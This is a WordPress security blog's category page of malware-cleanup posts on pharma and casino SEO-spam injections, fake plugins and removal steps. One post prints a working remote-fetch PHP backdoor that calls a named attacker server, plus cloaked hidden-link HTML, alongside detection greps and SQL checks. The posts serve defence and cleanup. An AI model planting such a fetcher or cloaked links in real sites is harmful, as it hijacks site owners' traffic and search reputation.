Category: WordPress Spam

  • Hacked? Weird Greek Text & Code Hidden in Your WordPress Database

    Hacked? Weird Greek Text & Code Hidden in Your WordPress Database

    Did you recently check your WordPress database or source code and find strange, unreadable blocks of code? Perhaps you noticed your website ranking for keywords related to “Greek Pharmacy” or “andrikofarmakeio”?

    If you found a script containing the ID M6bMm64IekltUmnGh3vrm9 or a function called oeYR5CtKOu7Yvb, your site has been compromised by a specific strain of SEO Spam Malware.

    You are likely asking: What is this? Why is it there? And how do I get it out?

    First: Verify This Is Your Infection

    Clients often find us after seeing this specific block of code inside their wp_posts table (often appearing right after legitimate text):

    <div id="M6bMm64IekltUmnGh3vrm9"><p><a href="https://andrikofarmakeio.com/">κοιτάξτε εδώ</a></p></div>

    It is usually followed by a script that looks like this:

    script type="text/javascript">function oeYR5CtKOu7Yvb(){var mbO=document.getElementsByTagName...

    If this matches what you see, stop editing immediately and read below.

    WordPress database under a magnifying glass revealing the malicious script code 'oeYR5CtKOu7Yvb' and ID 'M6bMm64IekltUmnGh3vrm9', representing the Greek Pharma SEO spam injection hack.

    What Is This Doing to My Business?

    This is known as the “Greek Pharma Hack.”

    Hackers haven’t just “broken” your site; they are parasitic. They are using your website’s good reputation to sell illicit products for a third party.

    1. They are stealing your Google Authority: The code creates a “hidden link” to a Greek pharmacy website. The code uses a trick (top:-152413851px) to push the link 152 million pixels off-screen. You can’t see it, but Google can.

    2. You face a Google Ban: Google’s bots are smart. They know this link is hidden (a technique called “Cloaking”). When they detect it, they will flag your site as “Deceptive.” Your legitimate pages will be de-indexed, and your traffic will crash.

    3. It spreads automatically: This isn’t just in one post. This malware usually injects itself into hundreds or thousands of your database rows simultaneously.

    Why You Can’t Just “Delete” It

    If you are a business owner attempting to fix this yourself via phpMyAdmin, be very careful.

    The malware inserts itself into the middle of your actual content (your blog posts, page text, and product descriptions).

    • The Risk: If you run a generic “Delete” command, you risk corrupting the formatting of your entire website, breaking images, and losing your original text.

    • The Re-infection: Deleting the code handles the symptom, not the cause. The hacker likely entered through a vulnerability in an outdated plugin or a weak password. If you delete the code without closing the door, they will simply re-infect you (often within hours).

    How We Clean This For You

    We specialize in removing SEO Spam Injections like the andrikofarmakeio variant.

    Instead of risking your data, we perform a forensic cleanup:

    1. Database Scrubbing: We use precise Regular Expressions (Regex) to surgically remove only the malicious ID M6bMm64IekltUmnGh3vrm9 and its associated script, leaving your legitimate content 100% intact.

    2. Backdoor Removal: We hunt down the “shell” or rogue file the hackers are using to access your server.

    3. Google Restoration: Once clean, we help you submit a “Reconsideration Request” to Google to get your rankings back on track.

    Don’t let hackers siphon off your traffic.

    If you see this code, contact us immediately for a specialized cleanup.

    [ > Get My Site Cleaned Now ]

  • Why Is My Website Showing Content From Another Site? (How to Find & Fix Hidden Malware)

    Introduction: The “Glitch” That Isn’t a Glitch

    You type in your URL, expecting to see your homepage. Instead, you see something completely different. Maybe it’s an online shop selling car keys, cheap sunglasses, or pharmaceuticals. Maybe the whole design has changed to mimic a completely different brand.

    You might think you’ve typed the wrong address, or that your hosting is “glitching.”

    Unfortunately, this is rarely a glitch. It is almost always a malicious code injection. Hackers have modified your site’s core files to hijack your traffic and show their content instead of yours.

    If you are a site owner without technical knowledge, this guide will walk you through exactly what is happening, the specific “fake” plugins causing it, and how to fix it.


    Phase 1: Diagnosis – How to Confirm You Are Hacked

    Most site owners panic and start deactivating their design themes. However, this specific hack usually hides deeper in your file structure.

    The hack typically does two things:

    1. Creates Fake Plugins: It installs folders that look like legitimate software so you don’t delete them.

    2. Hijacks the Doorway (index.php): It changes the main file that loads your website, telling it to load the virus first.

    The “Imposter” Plugins

    Based on recent security analysis, this specific malware strain is known to create folders in your wp-content/plugins directory with legitimate-sounding names.

    Check your File Manager for these specific folders. If you did not install them, they are likely malware:

    • wp-compat: This is a major red flag. There is no official WordPress plugin by this name that comes pre-installed.

    • CacheFusion: Sounds like a speed tool, but if you didn’t install it, it’s often malicious code used to store the spam content.

    • CDNConnect: Another generic name used to trick site owners into thinking it is a performance tool.

    (Note: Hackers use these boring names because they know you are scared to delete things that sound “technical.”)


    Phase 2: The Solution (Step-by-Step)

    ⚠️ Warning: Before touching anything, generate a full backup of your website via your hosting panel.

    Step 1: Check the Date Modified

    Open your Hosting File Manager (cPanel or FTP). Navigate to public_html > wp-content > plugins.

    Look at the “Last Modified” column.

    • Did wp-compat, CacheFusion, or CDNConnect all appear on the same date?

    • Was that date recent (e.g., September 8th, as seen in many recent infection reports)?

    • If the dates match a time you weren’t working on the site, that is your confirmation.

    Step 2: Delete the Fake Plugins

    Do not try to “deactivate” them inside the WordPress dashboard (the hacker often hides them from the plugin list). You must delete the folders directly from the File Manager.

    1. Right-click the wp-compat folder -> Delete.

    2. Right-click CacheFusion -> Delete.

    3. Right-click CDNConnect -> Delete.

    Step 3: Fix the index.php File

    This is the most critical step. The hacker modified your index.php file (located in your main public_html folder) to load those fake plugins. Even if you delete the plugins, a broken index.php might crash your site.

    1. Find the index.php file in your root folder.

    2. The Signs of Infection: A clean WordPress index.php is very short (usually about 28 bytes to 50 bytes). If your file size is 4KB or larger, it is infected.

    3. The Fix:

      • Edit the file.

      • Delete everything inside it.

      • Paste the official, clean WordPress code below:

    <?php
    /**
     * Front to the WordPress application. This file doesn't do anything, but loads
     * wp-blog-header.php which does and tells WordPress to load the theme.
     *
     * @package WordPress
     */
    
    /**
     * Tells WordPress to load the WordPress theme and output it.
     *
     * @var bool
     */
    define( 'WP_USE_THEMES', true );
    
    /** Loads the WordPress Environment and Template */
    require __DIR__ . '/wp-blog-header.php';
    
    1. Save the file.

    Step 4: Clear Your Caches

    If you use legitimate caching tools (like LiteSpeed or NitroPack, which are excellent tools), they may still be “remembering” the hacked version of your site.

    • Log into your hosting dashboard.

    • Flush/Purge all caches.

    • Visit your site in Incognito mode to verify the fix.


    Common Questions (AI & Voice Search Optimized)

    Q: Why is my WordPress site showing a Japanese store or car parts?

    A: This is often called the “Japanese Keyword Hack” or “Pharma Hack.” Attackers inject code into your index.php header to display foreign content to search engines and users to steal your SEO ranking.

    Q: Is wp-compat a virus?

    A: Yes. In the context of recent WordPress attacks, a folder named wp-compat found in your plugins directory is typically a container for malicious scripts. It is not a core WordPress file.

    Q: My antivirus didn’t catch CDNConnect. Is it safe?

    A: Likely not. Hackers name malicious folders CDNConnect to mimic legitimate Content Delivery Network software. If you did not manually install a plugin by this name, delete it immediately.


    Summary & Next Steps

    Cleaning the hacked files is only half the battle. You need to close the door they came in through.

    1. Change all passwords (WordPress Admin, FTP, and Database).

    2. Update everything: Ensure Elementor, WooCommerce, and all legitimate plugins are fully updated.

    3. Run a Deep Scan: Use a security plugin like Wordfence or Sucuri to scan for any “backdoors” left behind in other folders.

    Need your site back right now? Dealing with server files and PHP code can be risky if you aren’t technical. If you are afraid of deleting the wrong file or breaking your site further, we offer emergency malware removal services. We can identify these fake plugins, clean your index.php, and secure your website for you—usually within hour

  • Hidden Links Malware in WordPress: How a Remote-Fetch footer.php Backdoor Injects Casino & Slot Spam

    Hidden Links Malware in WordPress: How a Remote-Fetch footer.php Backdoor Injects Casino & Slot Spam

    Quick answer: Hidden links malware in WordPress is most often a remote-fetch backdoor — a tiny PHP snippet (usually inside footer.php) that pulls a list of casino, slot, pharma, or counterfeit links from an attacker-controlled server on every page load and prints them inside an off-screen <div>. Visitors don’t see the links; Googlebot does. To remove it: back up, delete the fetcher snippet from your theme, scan files + database for related backdoors, rotate all credentials, and request a Search Console review.


    Key takeaways

    • What it is: A black-hat SEO injection that adds invisible casino/slot/pharma backlinks to your site to pass authority to attacker-owned domains.
    • The new pattern (2025): Most cleanups I’m doing this year aren’t hard-coded link blocks — they’re remote-fetch backdoors that download fresh spam HTML from a C2 server every request, so the visible spam changes daily.
    • Where it hides: footer.php in 80% of my cases, then header.php, functions.php, and the database (wp_options, wp_posts).
    • How it stays hidden: Off-screen CSS like position:absolute; left:-989999999999px; — never display:none, because some search crawlers ignore that.
    • Why it survives “cleanups”: The fetcher is small (10–30 lines). Site owners delete the visible spam list in HTML but miss the snippet that re-pulls it.
    • This case: Found in footer.php, fetching from an Indonesian C2 domain that itself is a compromised legitimate site.

    What is hidden links malware (and why “remote-fetch” matters)

    Hidden links malware — sometimes called link injection spam, SEO spam injection, or spamdexing — is malicious code that adds invisible outbound links to your WordPress pages. The attacker’s goal is simple: borrow your domain authority to rank their spam pages (casino, slot, pharma, replica goods, adult content) in Google.

    What changed in the last 18 months is the delivery mechanism. Older infections hard-coded a block of spam HTML directly into footer.php. That’s easy to find with a simple grep. Newer infections — including the one I’m walking through here — use a remote-fetch backdoor: a tiny PHP function that downloads the spam list from a remote URL on every page load.

    This matters for three reasons:

    1. The visible spam rotates. The attacker can swap target keywords from “viagra cheap” to “slot gacor” to “mahjong ways” without re-hacking your site.
    2. Static malware scanners miss it. The local fingerprint is just a generic file_get_contents() call — not a known signature.
    3. “Cleaning” the visible HTML doesn’t fix anything. If you only delete the rendered links and leave the fetcher, the spam comes back on the next page load.

    I separated this out from my WordPress pharma hack guide and my Japanese keyword hack guide because the remote-fetch family behaves differently — and ignoring that difference is the #1 reason cleanups fail and the spam returns within days.


    The case: a remote-fetch backdoor in footer.php

    The infected site I’ll reference here was a small B2B WordPress installation. The owner only noticed because Google Search Console flagged “Security Issues — URLs containing user-generated spam” and a site:domain.com slot query returned roughly 600 indexed gambling pages that didn’t exist on the actual site.

    The spam wasn’t in the database. It wasn’t in wp-content/uploads. There were no rogue admin users. The site’s own pages, when viewed in a browser, looked completely fine. But viewing the page source revealed a giant block of casino and slot anchor tags wedged just before the closing </body> tag — and that block was different on every refresh.

    Walking back from the rendered HTML to the template, the trail led to wp-content/themes/[active-theme]/footer.php. At the bottom of the file, just above wp_footer(), sat this:

    <?php
    $url = "https://nawalaku.my.id/bl/";
    
    function fetch($url) {
        if (ini_get('allow_url_fopen') && ($d = @file_get_contents($url))) return $d;
    
        if (function_exists('curl_init')) {
            $c = curl_init($url);
            curl_setopt_array($c, [
                CURLOPT_RETURNTRANSFER => 1,
                CURLOPT_FOLLOWLOCATION => 1,
                CURLOPT_USERAGENT => 'Mozilla/5.0',
                CURLOPT_TIMEOUT => 10
            ]);
            $d = curl_exec($c);
            curl_close($c);
            if ($d) return $d;
        }
    
        $ctx = stream_context_create([
            'http' => ['header' => "User-Agent: Mozilla/5.0\r\n", 'timeout' => 10]
        ]);
        if ($d = @file_get_contents($url, false, $ctx)) return $d;
    
        return '';
    }
    
    echo fetch($url);
    ?>

    Remote-fetch backdoor code injected into WordPress footer.php

    That’s it. Twenty-five lines. No obfuscation. No base64_decode, no eval, no gzinflate — the things most malware scanners look for. Just three legitimate ways to make an outbound HTTP request, with the response echoed straight into the page.

    What this fetcher actually does

    • Tries file_get_contents first — works on most shared hosts where allow_url_fopen is on.
    • Falls back to cURL — covers hosts where fopen URL wrappers are disabled.
    • Falls back to a stream context — covers edge cases where neither of the first two works.
    • Spoofs a Mozilla User-Agent so the C2 server treats it as a normal browser, not a script.
    • Suppresses errors with @ so a temporarily-unreachable C2 server never breaks the page.
    • Echoes the response unconditionally — whatever the attacker sends, your site prints.

    The C2 endpoint (in this case nawalaku[.]my[.]id/bl/) returns an HTML block containing 50–200 gambling and slot anchor tags wrapped in an off-screen <div>:

    <div style="position:absolute; left:-989999999999px; top:-999999px; width:1px; height:1px; overflow:hidden;">
      <a href="hxxps://example-slot[.]com/gacor">slot gacor hari ini</a>
      <a href="hxxps://example-slot[.]com/mahjong">mahjong ways 2</a>
      ...
    </div>

    That CSS pushes the content roughly a trillion pixels to the left of the viewport. A human will never scroll that far. Googlebot reads the DOM, doesn’t care about visual position, and indexes every link.


    Casino & slot spam vs. pharma vs. Japanese keyword hack

    If you’ve read about WordPress SEO spam before, you’ve probably seen guides on the pharma hack or the Japanese keyword hack. They’re related but not identical — and treating them as the same thing is why cleanups fail.

    Variant What it injects Typical entry point Hiding technique
    Casino / slot spam (this article) Gambling, slot, mahjong, judi online links Theme files (footer.php), remote fetcher Off-screen CSS, dynamic remote payload
    Pharma hack Viagra, Cialis, weight-loss pill links Conditional cloaking in functions.php + DB wp_options User-agent cloaking (only shows to Googlebot)
    Japanese keyword hack Japanese-character spam pages Rogue .html/.php files in random subdirectories Generates thousands of new indexable URLs

    Casino spam is the variant exploding fastest right now. It’s the one I get the most cleanup requests for in 2025–2026, partly because the spam network behind it is huge and partly because the remote-fetch delivery makes it survive routine scans.

    For the other two variants, see my pharma hack guide and Japanese keyword hack guide.


    Signs your site is infected (3 fast checks)

    Search Console showing hidden link spam indexed pages

    1. Site search reveals pages you didn’t write

    In Google, run:

    site:yourdomain.com slot
    site:yourdomain.com gacor
    site:yourdomain.com mahjong
    site:yourdomain.com judi

    If you see indexed pages for keywords your site shouldn’t rank for — especially with Indonesian or Vietnamese language fragments — you have an injection. Also try site:yourdomain.com viagra and site:yourdomain.com 賭場 to rule out parallel pharma or Chinese-keyword infections.

    2. View-source for off-screen blocks

    Open your homepage, right-click → View Page Source (not “Inspect” — the rendered DOM can hide things), and Ctrl+F for these strings:

    • position:absolute
    • left:-9 (covers -9999px, -989999999999px, etc.)
    • text-indent:-9999
    • visibility:hidden
    • display:none followed by <a> tags
    • font-size:0
    • color:white or color:#fff next to anchor tags

    Any of these next to a block of anchor tags is the smoking gun.

    3. Search Console & security headers

    In Search Console, check Security Issues and Manual Actions. Also pull up PerformanceSearch Results, set the date range to the last 28 days, and sort by Clicks. If you see queries you’ve never targeted (especially gambling-related), the malware has been there long enough to attract impressions.

    For free third-party verification, run Sucuri SiteCheck — it’ll flag the off-screen div pattern and any blacklist hits.

    Sucuri SiteCheck flagging hidden SEO spam links


    How to remove the remote-fetch backdoor (step by step)

    Order matters here. Don’t skip steps — especially the credential rotation. I’ve cleaned a lot of sites where the owner removed the visible code, didn’t change passwords, and got reinfected within 24 hours through the same compromised hosting account.

    Step 1 — Full backup first

    Even on an infected site, take a fresh files-and-database backup before touching anything. If you break something during cleanup you’ll want a restore point. Use UpdraftPlus or All-in-One WP Migration; download the backup off-server.

    Step 2 — Enable maintenance mode

    You don’t want visitors hitting the spam during cleanup. Drop a .maintenance file in the WordPress root or use a maintenance plugin briefly.

    Step 3 — Find and delete the fetcher

    Via SSH or your host’s file manager:

    cd wp-content/themes/[your-active-theme]
    grep -rn "file_get_contents" .
    grep -rn "curl_exec" .
    grep -rn "stream_context_create" .
    grep -rn "fsockopen" .

    Open every match. A legitimate theme almost never makes outbound HTTP requests from footer.php, header.php, or functions.php. If you see those functions in those files, that’s your fetcher. Delete the entire snippet.

    Then check these specific files in order of frequency:

    1. footer.php — my #1 finding (this case)
    2. header.php
    3. functions.php — look for add_action('wp_footer', ...) or add_action('wp_head', ...) hooked to suspicious functions
    4. index.php in theme root
    5. wp-blog-header.php — covered in my wp-blog-header.php regenerate malware case study
    6. Any .php file in wp-content/uploads/ — should never exist

    Step 4 — Hunt the secondary backdoor

    Here’s the part most DIY cleanups miss: the fetcher is rarely the only thing the attacker left behind. Whoever uploaded that snippet had write access to your filesystem — meaning they almost certainly planted a re-entry backdoor too.

    Look for:

    • Recently modified files in the last 30 days: find . -type f -name "*.php" -mtime -30
    • Files with names mimicking core: wp-cache.php, wp-tmp.php, class-wp-config.php (any wp-* file in the wrong directory)
    • PHP files in wp-content/uploads, wp-content/upgrade, or anywhere outside themes/plugins
    • Suspicious functions.php hooks calling eval, assert, create_function, preg_replace with the /e modifier

    If this part feels overwhelming, it’s because backdoors are designed to look benign. My deep-dive on this is in how I found a hidden backdoor in a client’s WordPress site.

    Step 5 — Audit the database

    Even though the spam in this case was rendered from a remote source, attackers often leave a parallel injection in the DB so they have two paths in. Run these queries via phpMyAdmin or WP-CLI:

    SELECT * FROM wp_options WHERE option_value LIKE '%position:absolute%';
    SELECT * FROM wp_options WHERE option_value LIKE '%file_get_contents%';
    SELECT * FROM wp_posts WHERE post_content LIKE '%left:-9%';
    SELECT * FROM wp_users WHERE user_registered > '2024-01-01';

    Any unfamiliar admin users get deleted. Any rows containing off-screen CSS get cleaned manually.

    Step 6 — Update everything, rotate everything

    • WordPress core, all plugins, all themes
    • Delete unused/inactive plugins and themes (every inactive plugin is still attack surface)
    • Replace any nulled plugins with legitimate copies — nulled software is the entry point in roughly 60% of the cases I see (why nulled plugins are dangerous)
    • Rotate: WordPress admin passwords, hosting cPanel password, FTP/SFTP passwords, database password, API keys, and the WordPress salts in wp-config.php
    • Force-logout all sessions (Users → All Users → Log Out Everywhere Else for each admin)
    • Enable 2FA on every admin account

    Step 7 — Clean the search index

    Even after the malware is gone, Google will keep showing the spam pages until it re-crawls. Speed that up:

    • In Search Console, submit a fresh sitemap.
    • Use the URL Inspection Tool to request reindexing of your most important pages.
    • For spam URLs that point to pages that don’t exist on your site, use the Removals tool to temporarily hide them.
    • If you have a manual action, request a review and explain in 2–3 sentences exactly what you removed.

    For large-scale cleanup of indexed spam pages, see my case study on removing 50,000 spam URLs from Google after a keyword hack.


    Hardening (so this doesn’t come back)

    The single most-asked question after a cleanup is “why did this happen?” Honest answer from 4,500+ cleanups: it’s almost always one of four things — outdated software, nulled plugins, weak admin passwords, or a compromised shared-hosting neighbor. Fixing those four covers most reinfection cases.

    Block PHP execution in uploads. Add this to wp-content/uploads/.htaccess:

    <Files *.php>
        deny from all
    </Files>

    Disable file editing from wp-admin. Even if an attacker gets a low-level admin login, they can’t edit theme files in the dashboard:

    // wp-config.php
    define('DISALLOW_FILE_EDIT', true);
    define('DISALLOW_FILE_MODS', true);

    Force HTTPS-only admin and 2FA on all admin accounts. Wordfence, MiniOrange, or Solid Security all do this in two clicks.

    File integrity monitoring. Wordfence sends you an email any time a core or theme file changes. With remote-fetch malware, this is the fastest detection method — the moment footer.php changes outside of an update, you get a warning.

    Weekly five-minute audit. Every Monday, run site:yourdomain.com slot, site:yourdomain.com viagra, and site:yourdomain.com 賭場 in Google. If they return zero results, you’re clean. This is the cheapest early-warning system that exists. More on long-term defense in why WordPress malware keeps coming back.


    The infrastructure behind casino spam (brief threat intel)

    The C2 domain in this incident (nawalaku[.]my[.]id) is part of a larger Indonesian gambling-affiliate spam network. According to multiple Indonesian government and security sources, this network has compromised hundreds of legitimate .go.id (government), .ac.id (academic), and .mil.id (military) domains in Indonesia, plus thousands of small WordPress sites globally that act as either content hosts or remote-fetch nodes. Indonesian authorities reported handling 683 such compromised institutional domains by late 2023, with the count rising into the millions of indexed spam pages by 2024.

    What this means for you: if your remote-fetch URL points to a .my.id, .go.id, .ac.id, .id, or generic-looking Indonesian domain, you’re looking at the same family. The fix above works for all variants — only the C2 URL changes.


    FAQs

    Is this the same as the pharma hack?
    No. The pharma hack typically uses cloaking (showing different content to Googlebot vs. real users) and lives in wp_options or modified plugin files. Casino/slot spam in 2025 uses remote-fetch delivery from footer.php and shows the same off-screen content to everyone — bots and humans alike, with humans just not seeing it visually.

    I deleted the spam links in the rendered HTML, but they came back. Why?
    Because you deleted the output, not the source. The fetcher inside footer.php regenerates the spam list on every page load. You have to find and delete the PHP snippet, not the HTML it prints.

    Will my Google rankings recover?
    Usually, yes — but not instantly. Once the malware is gone and you’ve requested reindexing, expect 2–6 weeks for Google to drop the spam pages and partially restore your rankings. Sites that had a manual action take longer because a human reviewer has to approve the reconsideration request. I documented one such recovery in recovering from SEO spam: 242,000 spam pages cleared.

    Can a free Wordfence scan find this?
    Sometimes. Wordfence’s signature database catches the most common remote-fetch patterns, but a custom variant with an unfamiliar C2 URL can slip through. The view-source check (Step 2 above) is more reliable than any single scanner.

    Do I have to switch hosts?
    Not necessarily. But if your hosting account is on shared hosting and you’ve been hacked twice on the same plan, the entry point may be a neighbor on the same server, not your site. In that case, moving to a hardened managed-WordPress host (SiteGround, Kinsta, WP Engine) is the single biggest reinfection-prevention step you can take. My breakdown is in my SiteGround review after 4,500 cleanups.

    What if I find the same fetcher in functions.php, not footer.php?
    Same removal process — just be more careful. functions.php often legitimately contains hooks and filters, so don’t bulk-delete the file. Open it, find the snippet that calls file_get_contents or curl_exec to a non-WordPress domain, and delete only that block.


    Post-cleanup checklist

    Once the fetcher is removed and credentials rotated, walk through my post-cleanup checklist from real cleanups — it covers the things people typically forget (transients, wp-cron, abandoned hosting accounts, leaked API keys) that cause the same site to get reinfected three weeks later.


    Conclusion

    Hidden links malware in 2025–2026 isn’t the same problem it was three years ago. The hard-coded link blocks that older guides describe are now the minority of cases. What I’m cleaning today is overwhelmingly the remote-fetch backdoor family — small, signature-light PHP snippets in footer.php that pull casino, slot, and gambling spam from external C2 servers on every page load.

    The cleanup is straightforward once you know what you’re looking for: find the fetcher, kill it, hunt the secondary backdoor, rotate every credential, harden the entry points, and request reindexing. The hard part is being thorough enough that the site stays clean — and that’s where most DIY cleanups fall short.

    Need it cleaned today? I’ve removed this exact malware family from hundreds of sites. WordPress malware removal — same-day turnaround, fixed price, with a 30-day reinfection guarantee. If you’re already on a Google blacklist, see my Google blacklist removal service. Or just hire me directly and we’ll get on a call.

  • How to Prevent All Types of Spam on Your WordPress Website in 2025

    How to Prevent All Types of Spam on Your WordPress Website in 2025

    Spam is one of the biggest challenges faced by WordPress users today. Whether it’s comment spam, fake user registrations, or even emails being flagged as spam, the effects can be both frustrating and damaging to your site’s credibility and performance. Spam can lower your site’s speed, make it look unprofessional, and even result in security breaches.

    But don’t worry — there’s good news! In this comprehensive guide, we’ll cover how to prevent all types of spam on your WordPress site. We will highlight practical methods, best practices, and highly effective plugins and services, helping you safeguard your site while ensuring a seamless experience for legitimate users.

    Let’s dive into preventing comment spam, registration spam, login spam, WooCommerce checkout spam, and email delivery issues. With the right strategies and tools, you can eliminate spam for good!

    1. Types of Spam Affecting Your WordPress Website

    There are several different types of spam that can affect your WordPress website. Let’s go through each one in detail.

    a. Comment Spam:

    Comment spam is one of the oldest and most common forms of spam. Spam bots often target the comment sections of blogs and websites. These bots are usually programmed to submit fake or irrelevant comments with links to malicious or unrelated websites. This can negatively affect your SEO, slow down your site, and create a poor user experience.

    How to Prevent Comment Spam:

    1. Use an Anti-Spam Plugin: A WordPress anti-spam plugin like Akismet Anti-Spam automatically filters out suspicious comments, reducing the time spent managing comments.
    2. Enable Comment Approval (By Default): In WordPress, comments are manually approved by default. This means comments are placed in a moderation queue where you can review and approve or reject them. To ensure spam comments are filtered out, go to Settings > Discussion and ensure that “Comment must be manually approved” is checked.
    3. Add CAPTCHA: Adding CAPTCHA to the comment form adds a layer of security by asking users to verify they are human, blocking bots in the process.
    4. Use Honeypot: The Honeypot plugin adds invisible fields to comment forms that are hidden to human users but visible to bots. If a bot fills out these fields, the submission is flagged as spam.

    Recommended Plugins:

    • Akismet Anti-Spam: Automatically filters out spammy comments based on global patterns.
    • Honeypot: An excellent, lightweight plugin that prevents bots from submitting fake comments.

    b. Registration Spam:

    Registration spam occurs when bots try to create fake accounts on your WordPress site. These bots often flood the registration system, creating accounts that can be used for spamming or other malicious activities.

    How to Prevent Registration Spam:

    1. Disable User Registration (If Not Needed): If your site does not require user registration, it’s best to disable it entirely. You can disable registration under WordPress Settings > General, where you can uncheck the option to allow user registration.
    2. Implement CAPTCHA or reCAPTCHA: Adding a CAPTCHA or reCAPTCHA to the user registration page prevents bots from bypassing the system.
    3. Use Cloudflare Turnstile or Google reCAPTCHA: These tools add an additional layer of security to your registration form by requiring users to complete a CAPTCHA challenge.

    Recommended Plugins:

    • Advanced Google reCAPTCHA: A robust solution for adding CAPTCHA to registration forms.
    • Simple Cloudflare Turnstile: A privacy-first alternative to traditional CAPTCHA for preventing spam registrations.

    c. Sign-In Spam:

    Bots often attempt to break into WordPress sites by targeting the login page, especially through brute-force attacks, where they continuously try different combinations of usernames and passwords until they gain access.

    How to Prevent Sign-In Spam:

    1. Use Two-Factor Authentication (2FA): Two-factor authentication (2FA) adds an extra layer of security by requiring users to authenticate via a second method (usually an app like Google Authenticator).
    2. Limit Login Attempts: Bots typically make multiple login attempts. By limiting the number of failed login attempts, you can drastically reduce the effectiveness of brute-force attacks.
    3. Change Default Login URL: WordPress has a default login URL that hackers often target (e.g., yourdomain.com/wp-login.php). Changing this default URL reduces the risk of automated login attempts.

    Recommended Plugins:

    • Limit Login Attempts Reloaded: This plugin helps by limiting the number of login attempts and temporarily blocking IPs that exceed the allowed attempts.
    • Wordfence Security: This security plugin offers features to monitor login attempts and stop brute-force attacks.

    d. WooCommerce Checkout Spam:

    If you run an e-commerce site on WordPress, one of the most critical areas to protect is your WooCommerce checkout process. Spammy or fake orders can clog up your system, waste resources, and impact your sales numbers.

    How to Prevent WooCommerce Checkout Spam:

    1. Add CAPTCHA to Checkout: Add a CAPTCHA (like Cloudflare Turnstile) or Honeypot to your WooCommerce checkout form to prevent bots from submitting fake orders.
    2. Use Email Verification: Ensure that customers enter a valid email address by sending an email verification link to confirm the order.
    3. Enable Address Verification (AVS): Use the Address Verification System (AVS) to verify that the billing address provided by the customer matches the address on file with their credit card provider.

    Recommended Plugins:

    • Honeypot for WooCommerce: This plugin adds an invisible form field to capture bots submitting fake orders.
    • Cloudflare Turnstile: Adds bot protection during checkout without annoying CAPTCHA challenges.

    e. Emails Going to Spam:

    One of the most common problems WordPress users face is emails going to spam. If you’re sending important communications, such as order confirmations, newsletter subscriptions, or contact form responses, you want to ensure they are delivered to your users’ inboxes and not flagged as spam.

    How to Prevent Emails Going to Spam:

    1. Use SMTP (Simple Mail Transfer Protocol): By default, WordPress sends emails through the server’s PHP mail function, which is often flagged as spam. Using an SMTP plugin ensures emails are authenticated and delivered properly.
    2. Set Up SPF, DKIM, and DMARC: SPF (Sender Policy Framework), DKIM (DomainKeys Identified Mail), and DMARC (Domain-based Message Authentication, Reporting, and Conformance) are email authentication methods that help verify that emails are sent from authorized servers.

    Recommended Plugins:

    • Fluent SMTP: Ensures email delivery by connecting your WordPress site with a trusted SMTP service like Gmail or Mailgun.
    • WP Mail SMTP: Another reliable option for improving email deliverability.

    2. Recommended Services and Plugins to Block Spam

    Now that we’ve covered the types of spam, let’s take a closer look at the best services and plugins for preventing spam across different areas of your WordPress site.

    Google reCAPTCHA:

    Plugin: Advanced Google reCAPTCHA

    How it helps: Google’s reCAPTCHA works across various forms to ensure that bots cannot bypass them.

    Cloudflare Turnstile:

    Plugin: Simple Cloudflare Turnstile

    How it helps: Turnstile offers a privacy-first, user-friendly alternative to CAPTCHA systems.

    Honeypot:

    Plugin: Honeypot

    How it helps: The Honeypot plugin adds an invisible field to your forms. Bots will attempt to fill it out, marking their submission as spam.

    Akismet Anti-Spam:

    Plugin: Akismet Anti-Spam

    How it helps: Akismet analyzes submissions to detect spam patterns and blocks them before they appear on your site.

    Fluent SMTP or WP Mail SMTP:

    How it helps: These SMTP plugins ensure WordPress emails are sent securely and reliably, improving email deliverability.

    3. Default WordPress Settings to Combat Spam

    There are several default settings within WordPress that you can configure to help reduce spam:

    1. Approve Comments Manually: In your WordPress settings, enable manual comment approval to review and approve each comment before it goes live.
    2. Disable User Registration (If Not Needed): If you don’t require user registration, disable this feature in your WordPress settings to prevent spam accounts from being created.
    3. Disable Comments (If Not Needed): If you don’t need comments, use the Disable Comments plugin to turn off comments across your entire site or specific posts/pages.

    4. Conclusion: Stop Spam for a Cleaner WordPress Site

    Preventing spam on your WordPress site is essential for maintaining a clean, secure, and user-friendly experience. By using the right anti-spam plugins, implementing CAPTCHA solutions, and adjusting your WordPress settings, you can significantly reduce spam from comments, registrations, logins, WooCommerce checkouts, and emails.

    With the tools and techniques mentioned in this post, you’ll be well-equipped to keep your site safe from spam in 2025 and beyond.